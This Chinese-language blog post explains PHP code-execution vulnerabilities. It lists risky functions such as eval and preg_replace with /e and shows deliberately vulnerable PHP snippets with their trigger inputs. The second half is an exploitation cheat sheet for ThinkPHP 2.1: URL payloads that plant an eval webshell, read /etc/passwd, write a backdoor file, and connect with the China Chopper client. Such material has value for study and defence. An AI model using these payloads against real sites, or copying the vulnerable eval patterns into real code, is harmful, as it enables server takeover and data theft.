漏洞形成原因:客戶端提交的參數,未經任何過濾,傳入可以執行代碼的函數,造成代碼執行漏洞。
常見代碼注射函數:
如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函數
詳見http://www.cnblogs.com/xiaozi/p/7834367.html
漏洞危害:執行代碼,寫入webshell、控制服務器
代碼示例一:
<?php //?cmd=phpinfo(); @eval($_GET['cmd']); ?>
代碼示例二:
<?php
//?cmd=${phpinfo()} $str=$_GET['cmd']; eval('$str="'.$str.'";'); ?>
php 代碼可以這樣在雙引號中被執行
代碼示例三:
<?php //?cmd=%27);phpinfo();// $str=$_GET['cmd']; eval("strtolower('$str');"); ?>
代碼示例四:preg_replace函數
<?php preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>"); //等價於 preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>"); ?>
參考:
慎用preg_replace危險的/e修飾符(一句話后門常用)
http://www.jb51.net/article/38714.htm
Thinkphp框架任意代碼執行漏洞利用
# 一般找CMS相應版本漏洞,如ThinkPHP2.1 * 一句話
http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}} * 得到當前路徑
http://www.xxx.com/News/detail/id/{${print(getcwd()))}} * 讀文件
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}} POST的數據為:f=/etc/passwd * 寫shell http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}} POST的數據為:f=1.php&d=<?php @eval($_POST['aa'])?>
直接執行一句話代碼,然后用菜刀直接連接
http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句話密碼:s
關於我:一個網絡安全愛好者,致力於分享原創高質量干貨,歡迎關注我的個人微信公眾號:Bypass--,瀏覽更多精彩文章。

參考文章:
代碼執行漏洞 http://www.jianshu.com/p/3f0cf18adbe7
PHP漏洞全解(詳細介紹) http://www.jb51.net/article/31898.htm
PHP代碼執行漏洞總結 http://blog.csdn.net/kuangmang/article/details/27170309
